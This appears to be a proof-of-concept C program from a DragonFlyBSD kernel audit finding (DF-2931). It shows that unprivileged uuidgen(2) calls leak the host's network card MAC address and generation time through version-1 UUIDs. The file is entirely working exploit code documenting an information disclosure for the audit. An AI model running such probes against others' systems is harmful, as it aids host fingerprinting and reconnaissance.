DragonFlyBSD Kernel Audit
DF-2931 / uuidleak.c
← back to finding ↓ download raw
/*
 * DF-2931 — kern_uuid.c uuid_node()/kern_uuidgen() info disclosure PoC
 *
 * Unprivileged uuidgen(2) returns RFC-4122 **v1** UUIDs whose node field
 * contains the host's primary NIC MAC address (sys/kern/kern_uuid.c:88
 * if_getanyethermac + :90 unconditional `|= 0x01`), and whose timestamp
 * field is the raw wall-clock time of generation (kern_uuid.c:99-109).
 *
 * Success criterion (as an unprivileged user):
 *   - every UUID has version nibble 1 (time-based)
 *   - node field == first IFT_ETHER interface MAC with bit0 of byte0 set
 *     (0x52:54:00:12:34:56 -> 53:54:00:12:34:56); clearing that bit
 *     recovers the exact MAC
 *   - the 60-bit timestamp decodes to the current wall-clock time
 */
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

struct df_uuid {
	unsigned int	time_low;
	unsigned short	time_mid;
	unsigned short	time_hi_and_version;
	unsigned char	clk_seq_hi;
	unsigned char	clk_seq_lo;
	unsigned char	node[6];
};

int main(void)
{
	struct df_uuid u[4];
	unsigned long long ts;
	time_t sec, now;
	int i;

	if (syscall(392, u, 4) != 0) {
		perror("uuidgen");
		return 1;
	}

	now = time(NULL);
	printf("caller uid            : %d\n", getuid());
	printf("host wall clock       : %s", ctime(&now));

	for (i = 0; i < 4; i++) {
		printf("uuid[%d]              : %08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x (version nibble %x)\n",
		    i, u[i].time_low, u[i].time_mid, u[i].time_hi_and_version,
		    u[i].clk_seq_hi, u[i].clk_seq_lo,
		    u[i].node[0], u[i].node[1], u[i].node[2],
		    u[i].node[3], u[i].node[4], u[i].node[5],
		    u[i].time_hi_and_version >> 12);
	}

	ts = ((unsigned long long)(u[0].time_hi_and_version & 0xfff) << 48) |
	     ((unsigned long long)u[0].time_mid << 32) | u[0].time_low;
	sec = (time_t)((ts - 0x01B21DD213814000ULL) / 10000000ULL);
	printf("v1 timestamp decoded  : %s", ctime(&sec));

	printf("leaked node field     : %02x:%02x:%02x:%02x:%02x:%02x\n",
	    u[0].node[0], u[0].node[1], u[0].node[2],
	    u[0].node[3], u[0].node[4], u[0].node[5]);
	printf("node with bit0 cleared: %02x:%02x:%02x:%02x:%02x:%02x  <- compare 'ifconfig ... ether'\n",
	    u[0].node[0] & ~1, u[0].node[1], u[0].node[2],
	    u[0].node[3], u[0].node[4], u[0].node[5]);
	return 0;
}